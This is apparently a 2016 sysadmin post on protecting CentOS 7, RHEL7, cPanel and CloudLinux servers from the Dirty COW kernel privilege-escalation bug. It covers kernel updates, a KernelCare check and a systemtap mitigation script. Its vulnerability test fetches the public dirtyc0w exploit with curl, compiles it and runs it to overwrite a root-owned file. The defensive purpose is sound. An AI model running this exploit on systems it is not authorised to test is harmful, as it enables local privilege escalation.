Protect from CVE-2016-5195 (DirtyCow) on Centos 7/RHEL7/cPanel/CloudLinux

On october 19 2016, the Dirty Cow vulnerability went public (which is kernel privilege escalation vulnerability) . From what I have read and test, the exploit is working only on Centos 7/ RHEL7 / Cloudlinux 7 distros .

I don’t know for other distros, because I’m not interested in them.

How to protect yourself from CVE-2016-5195 ?

0) (NEW) The Right Way To Update

0.1) If you are using CloudLinux based server

If you are using CloudLinux based server, you must already received update for CL 5/6/7. You need to just do:

root@server# yum update kernel

After you update your kernel, you must reboot your server in order to load the patched kernel.

 

0.2) If you are using KernelCare rebootless patching

If you are lucky enough to have CL/KernelCare, which is used for dynamic kernel patching, you have received already the updates and you don’t need to do anything.

You can check for the KernelCare patch fix with the following:

root@server [~]# kcarectl  --patch-info  | grep 2016-5195 -A 6
kpatch-name: 2.6.18/CVE-2016-5195.patch
kpatch-description: CVE-2016-5195 fix
kpatch-kernel: kernel-2.6.18-412.el5
kpatch-cve: CVE-2016-5195
kpatch-cvss: 6.9
kpatch-cve-url: https://access.redhat.com/security/cve/CVE-2016-5195
kpatch-patch-url: https://git.kernel.org/linus/19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

You don’t need to reboot in this case !

 

0.3) If you are using Centos 5/6/7 stock kernel  (update Tue Oct 25 12:00:50 CDT 2016)

Centos released kernel patch for Centos 7, what you need to do is the following:

root@server#  yum update kernel

After updating the kernel, you must reboot your server.

We are still waiting for Centos to release kernel patches for Centos 5 and 6.

 

 

 

1)(OLD)Temporary fix (the systemtap way)

Install systemtap, kernel-devel and kernel-debuginfo packages

On a basic Centos 7 (could be cPanel enabled)

yum --enablerepo='base-debuginfo' --disableexcludes=main   install  kernel-debuginfo-$(uname -r)  kernel-devel-$(uname -r) systemtap

 

On CloudLinux 7

yum -y  --enablerepo='cloudlinux-base-debuginfo' --disableexcludes=main   install  kernel-debuginfo-$(uname -r)  kernel-devel-$(uname -r) systemtap

 

It is very important to use “–disableexcludes=main” on a cPanel based servers, cause thay have “exclude=kernel-debuginfo*” in /etc/yum.conf. 

 

2) Create your .stap file

vim /root/CVE-2016-5195.stap

probe kernel.function("mem_write").call ? {
        $count = 0
}
probe syscall.ptrace {  // includes compat ptrace as well
        $request = 0xfff
}
probe begin {
        printk(0, "CVE-2016-5195 mitigation loaded")
}
probe end {
        printk(0, "CVE-2016-5195 mitigation unloaded")
}

 

 

3) Generate the stap module

stap -p4 -g /root/CVE-2016-5195.stap

# This will produce something like that
Run stap module: /root/.systemtap/cache/bb/stap_bbdee39c313c02b1757818d71b4e5c1a_65687.ko

 

4) Install the module

Adjust the command, based on your previously generated module path !

staprun -L /root/.systemtap/cache/bb/stap_bbdee39c313c02b1757818d71b4e5c1a_65687.ko

# Will get something like that 
Message from syslogd@server at Oct 21 09:37:19 ...
 kernel:CVE-2016-5195 mitigation loaded

 

5) Keep in mind, if you reset the server, the fix goes away !

Keep in mind that the instructions above are activating “temporary” the fix. If you restart your server you must re-run the staprun -L command in order to re-load the stap module.

How to test if you are vulnerable ?

 

1) Download and compile the PoC

root@server# curl https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c > dirtyc0w.c
root@server# gcc -lpthread dirtyc0w.c -o dirtyc0w

 

2) Copy the binary in some user directory

root@server# cp dirtyc0w /home/some_user/

 

3) Create read-only root owned file

root@server# echo "This is a test file" > /home/some_user/foo
root@server# chmod 0404 /home/some_user/foo

 

4) Execute the exploit with ‘some_user’ and try to modify foo file

root@server# su - some_user -s /bin/bash
some_user@server# ./dirtyc0w foo m00000000000000000

 

5) Finally check if the file foo is modified:

If you get this:

root@server# cat /home/some_user/foo 
m00000000000000000

Then you are VULNERABLE.

 

If you get this

root@server# cat /home/some_user/foo 
This is a test file

You are SAFE

 

 

UPDATE 23 Oct 2016 – CloudLinux released DirtyCow fix in the stable kernel release

 

CloudLinux announced that they have released the Dirty Cow fix, within their stable kernel release for CloudLinux 6 and CloudLinux 7.

 

CloudLinux 5 has the vulnerability fix  in it’s testing repository.

 

 

External resources

Info on dirtycow: http://dirtycow.ninja/

RedHat bugreport: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c13

More information from SecurityFocus about all vulnerable kernels:

http://www.securityfocus.com/bid/93793